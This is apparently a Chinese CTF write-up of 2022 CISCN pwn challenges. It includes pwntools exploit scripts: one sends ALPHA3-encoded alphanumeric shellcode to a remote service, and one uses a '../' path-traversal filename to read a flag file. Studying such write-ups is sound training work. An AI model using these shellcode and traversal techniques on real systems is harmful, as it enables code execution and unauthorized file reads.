2022ciscn pwn

前言

今年ciscn总共三题pwn,一题算是签到,一题2.34的堆做一半没成功,一题LLVM PASS没学过完全不会。分区赛六题pwn,awdplus的模式,成了修洞的乐园。

login-nomal

这题其实做过类似的,在蓝帽杯还是哪来着做过,在代码审计部分差不多一致,只是在最后的利用过程有改动。首先就是一个循环执行函数,接着看函数的主要内容。

image-20220705213148416

接着看又是一个循环,这个循环就是这题最麻烦的点了,需要一步步的耐心整理,当时我做是直接找了类似题目进行比较的,所以没花多少功夫,需要注意一下的就是msg后跟的字符串要多输入一个,因为处理的时候strlen-1了,会少一个字符。

image-20220705213257184

审完上面的代码,接下来就是主要的菜单内容,主要关注1和3执行的内容。

image-20220705213831271

在执行1函数可以设置一个flag为1,这个为3执行到mmap提供真的判断条件,而要能够执行这串代码,需要的是先通过isprint的检验,所以就是只能输入明文字符,这就涉及到的一个考点就是明文字符书写shellcode。明文字符生成可以通过alpha3或者AE64进行自动生成。我使用的是alpha3,执行命令为:

1
python ./ALPHA3.py x64 ascii mixedcase rdx --input="shellcode"

rdx是指call后面跟着的那个寄存器,也就是存放shellcode首地址的寄存器。

image-20220705213700566

image-20220705213732318

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#!usr/bin/env python 
#coding=utf-8
from pwn import *
context(arch = 'amd64',os = 'linux',log_level = 'debug')
elf = ELF('./login')
DEBUG = 0
if DEBUG:
libc = ELF("/home/shoucheng/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/libc-2.33.so")
ld = ELF("/home/shoucheng/glibc-all-in-one/libs/2.33-0ubuntu5_amd64/ld-2.33.so")
p = process(argv=[ld.path,elf.path], env={"LD_PRELOAD" : libc.path})
p = process('./login')
else:
ip = '47.93.156.2'
port = 24875
#libc = ELF("./libc.so.6")
p = remote(ip, port)


def debug():
gdb.attach(p, "b main")
#gdb.attach(p, "b *$rebase(0x)")


p.recvuntil(">>> ")
p.send("opt:1\nmsg:ro0ta\n\n")
p.recvuntil(">>> ")
#debug()
p.send("opt:2\nmsg:Rh0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070ta\n\n")

p.interactive()

二维码

这题跑去问了柘狐师傅,也是个签到题。但是比赛那会没做出来,太菜了。

利用点在于black初始值是为0的,那么没有过滤..

image-20220707093637899

同时,因为可以输入文件的名字,并且是可以含有./,那么就存在了目录穿越的问题,利用../可以返回到上一级的特点,可以把flag内容打印出来。

image-20220707093800921

image-20220707093746094

打印出的内容为base64加密的结果,解码即可。

image-20220707094151700

image-20220707094220973

1
2
3
4
5
6
7
8
9
10
from pwn import *
#p = remote('172.16.9.45', 8087)
p = process('./pwn2')
context(log_level = 'debug')
p.recvuntil("change filename? (y/N)")
p.send('y')
p.recvuntil("input new filename: ")
p.send("../home/shoucheng/pwn/flag\n")
p.shutdown('write')
p.interactive()
查看评论